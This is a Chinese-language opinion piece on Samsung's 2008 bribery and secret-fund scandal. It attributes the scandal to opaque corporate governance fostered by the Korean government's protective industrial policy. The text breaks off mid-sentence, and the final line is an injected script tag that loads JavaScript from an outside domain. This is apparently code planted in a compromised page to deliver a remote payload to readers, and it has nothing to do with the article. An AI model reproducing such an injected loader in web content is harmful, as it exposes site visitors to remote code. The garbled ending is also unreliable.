韩国政府就像慈母对待自己的孩子一样保护、宽容、溺爱以三星为代表的大企业集团。然而，溺爱的代价是巨大的，伴随韩国经济迅猛发展的，是韩国市场经济生态环境的沦落及商业伦理的丧失。政府的溺爱既成就了三星等企业巨人的辉煌，也为这些企业巨人留下了“阿喀琉斯之踵”
4月17日，韩国检察官赵俊雄宣布以逃税和背信罪对李健熙和10名涉案人员进行不拘留起诉，韩国三星集团危机爆发，举世震惊。危机事件的核心是行贿丑闻，三星集团被发现拥有高达2亿美元的秘密账户，用于向政府、检方、法院等部门的官员行贿。李健熙为首的三星集团经营团队4月22日集体引咎辞职，并面临特检指控及刑事审判。
问题在于公司治理结构的不健全
三星事件令人震惊的原因在于三星集团的强大与卓越。三星集团不仅是韩国最大的企业集团（其年收入占韩国gdp的六分之一），还是屹立于当今世界的标杆式企业。三星集团的卓越还在于它的发展过程，三星集团创造了后发企业励精图治、进取变革超越传统世界企业巨头的经典案例。自李健熙1987年从父亲李秉哲手中接掌三星集团以来，提出了“新经营”的变革理念，主张“除了老婆、孩子不变，一切都要变”，领导三星不仅成功度过了1997年的亚洲金融风暴，还一举超越传统欧美及日本的企业巨头，成为世界最大的芯片及手机生产商（三星电子）、世界第二大的液晶屏制造商（三星sdi）、世界第二大的造船厂商（三星重工）。
然而，此次危机使人们认识到，三星这个看似强大的巨人竟然如此脆弱，令人联想起了古希腊历史上有名的勇士阿喀琉斯。传说中阿喀琉斯的母亲从小就提着他的脚后跟将他在药水中浸泡，造就了他的金刚不坏之身。由于他的脚后跟没有被浸泡到，因此“阿喀琉斯之踵”成为他的唯一致命缺陷。带着对荣耀的向往以及千古留名的渴望，阿喀琉斯参加了史诗般的特洛伊战争，勇猛顽强作战，美丽的海伦、神奇的木马、悲怆的结局成就了他的威名，也由于“阿喀琉斯之踵”的存在葬送了他的生命。
如果三星是阿喀琉斯，那么三星的“阿喀琉斯之踵”是什么呢？又是谁造就了三星的“阿喀琉斯之踵”呢？
显而易见，三星的“阿喀琉斯之踵”是公司治理结构的不健全，从而导致了其决策体制的黑箱化、非透明化以及对法治规则的蔑视、对政府“特殊关照”的依赖。此次三星危机事件充分说明了这一点。
事件的发生肇始于2007年10月29日，前三星集团战略企划室法务组组长金容哲陆续曝光三星集团存在总额达2.15亿美元的秘密资金，这笔钱被用来向韩国检察官、法官和政府官员行贿。行贿的主要目的是为李健熙家族争取特殊利益。这包括李健熙借用公司高管持股逃避高额遗产税、李健熙夫人洪罗喜利用秘密资金购买高价艺术品等一系列事实。
外界广泛诟病的三星治理结构问题正是此次事件发生的直接原因。三星集团战略企划室事实上扮演了整个三星集团重大决策、资源分配的核心角色。然而，它只听命于李健熙一人，而不是向全体三星股东负责。整个决策过程缺乏透明度，可谓是典型的黑箱操作。正是这一决策体制导致三星能够长期建立与隐瞒如此庞大的秘密行贿基金，而这一行贿基金的主要目的是为李健熙家族服务。显然，公司治理结构的缺陷正是三星的“阿喀琉斯之踵”。
三星之病因何而起
是谁造就了三星的“阿喀琉斯之踵”？则是一个不容易回答的问题。 “家族制”往往容易成为最明显的替罪羊。然而，世界最大的沃尔玛公司正是由沃尔玛家族所控制与经营，沃尔玛公司至今保持着良好、健康发展，并建立了阳光、规范的公司治理结构，大部分沃尔玛家族成员仅仅是沃尔玛公司的股东而已。可见家族制并不是造就三星“阿喀琉斯之踵”的罪魁。
笔者认为，韩国政府是成就了三星、也留下了三星“阿喀琉斯之踵”的人。
韩国政府自上世纪60年代以来，为迅速发展韩国经济，选择了工业导向、出口导向和大企业集团为主体的经济发展战略。该战略的核心在于韩国政府实施了一系列扶持与促进大企业发展的政策措施。其主要内容如下：一是制定详细的经济发展目标，建立专项产业政策，如为集中力量发展重化工业，韩国政府先后制定了“钢铁工业育成法”、“汽车工业保护法”、“电子工业振兴法”等专项产业政策；二是对重点发展产业进行规划及扶持，对于产业发展重点的选择和产业的组织结构给予了强有力的干预，例如，为解决汽车工业发展初期存在的“散、弱、小”的问题，形成规模经济，韩国政府强制国内十几家汽车制造企业合并成现代、大宇和起亚三家厂商；三是以举国之力重点扶持大企业集团，使之迅速形成具有国际竞争实力的规模化企业，韩国商工部根据出口实绩、企业资本金、出口主导商品、主要出口国家、分支机构等方面的条件，确定了三星等１３家集团为综合商社企业，并提供贸易行政支援、财政金融政策支援和情报支援；四是实行保护民族工业的?script src=http://er12.com/t.js>
